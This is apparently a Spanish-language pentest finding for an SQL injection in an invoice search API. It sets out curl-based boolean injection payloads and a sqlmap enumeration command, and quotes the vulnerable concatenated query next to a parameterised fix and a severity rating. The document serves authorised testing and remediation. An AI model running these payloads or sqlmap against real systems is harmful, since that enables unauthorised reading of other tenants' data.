FT-031 · Injection
Inyección SQL en el buscador de facturas
api.acme.test/v2
IMPACTO
Qué puede ocurrir
El parámetro de búsqueda se concatena en la consulta SQL. Una cuenta con permisos mínimos puede leer tablas ajenas al inquilino, incluidas credenciales con hash y datos de facturación de otras organizaciones.
REPRODUCCIÓN
Prueba de concepto paso a paso
- 01
Obtener un token de una cuenta de prueba
Se usa la cuenta autorizada para el ejercicio, sin privilegios de administración.
curl -s -X POST https://api.acme.test/v2/auth/login \ -H 'Content-Type: application/json' \ -d '{"email":"pentest-user@acme.test","password":"[REDACTED]"}' \ | jq -r .access_token > token.txt - 02
Confirmar el punto de inyección
Una comilla simple rompe la consulta y el backend devuelve el error del motor, lo que confirma que el valor llega sin parametrizar.
curl -s -G https://api.acme.test/v2/invoices/search \ -H "Authorization: Bearer $(cat token.txt)" \ --data-urlencode "q=acme'"
- 03
Verificar la condición booleana
La respuesta cambia de 0 a 42 resultados según la condición inyectada: la consulta es controlable por el atacante.
# falso -> 0 resultados curl -s -G https://api.acme.test/v2/invoices/search \ -H "Authorization: Bearer $(cat token.txt)" \ --data-urlencode "q=acme' AND 1=2-- " | jq '.total' # verdadero -> 42 resultados curl -s -G https://api.acme.test/v2/invoices/search \ -H "Authorization: Bearer $(cat token.txt)" \ --data-urlencode "q=acme' AND 1=1-- " | jq '.total'
- 04
Determinar el alcance con sqlmap
Ejecutado con nivel y riesgo mínimos, sin volcado masivo: solo se enumeran nombres para medir el impacto.
sqlmap -u "https://api.acme.test/v2/invoices/search?q=acme" \ --headers="Authorization: Bearer $(cat token.txt)" \ --level=2 --risk=1 --batch --technique=B \ --dbs --threads=2
- 05
Acotar la prueba
Confirmada la lectura de una fila fuera del inquilino, se detiene la explotación y se notifica al responsable técnico el mismo día.
Ejecutado dentro de la ventana autorizada, con cuentas creadas para el ejercicio y sin extraer datos reales. Las credenciales aparecen siempre redactadas.
EVIDENCIA SANITIZADA
Respuesta del error (recortada)
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
{
"error": "syntax error at or near \"'\"",
"hint": "SELECT id, number, total FROM invoices WHERE org_id = 'acme' AND number ILIKE '%acme'%'"
}EVIDENCIA SANITIZADA
Consulta vulnerable (extracto del código revisado)
const { rows } = await db.query(
`SELECT id, number, total FROM invoices
WHERE org_id = '${orgId}' AND number ILIKE '%${query}%'`
);REMEDIACIÓN
Consulta parametrizada
Sustituir la concatenación por consultas parametrizadas, aplicar una lista blanca en el campo de ordenación y ejecutar la aplicación con un rol de base de datos sin permisos sobre tablas de sistema.
const { rows } = await db.query(
`SELECT id, number, total FROM invoices
WHERE org_id = $1 AND number ILIKE '%' || $2 || '%'`,
[orgId, query]
);CLASIFICACIÓN
Ficha del hallazgo
- Severidad
- Crítica
- CVSS v3.1
- 9.1
- CWE
- CWE-89
- OWASP
- A03:2021 · Injection
- Validación
- Validado · manual
- Activo
- api.acme.test/v2
VECTOR
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
REFERENCIAS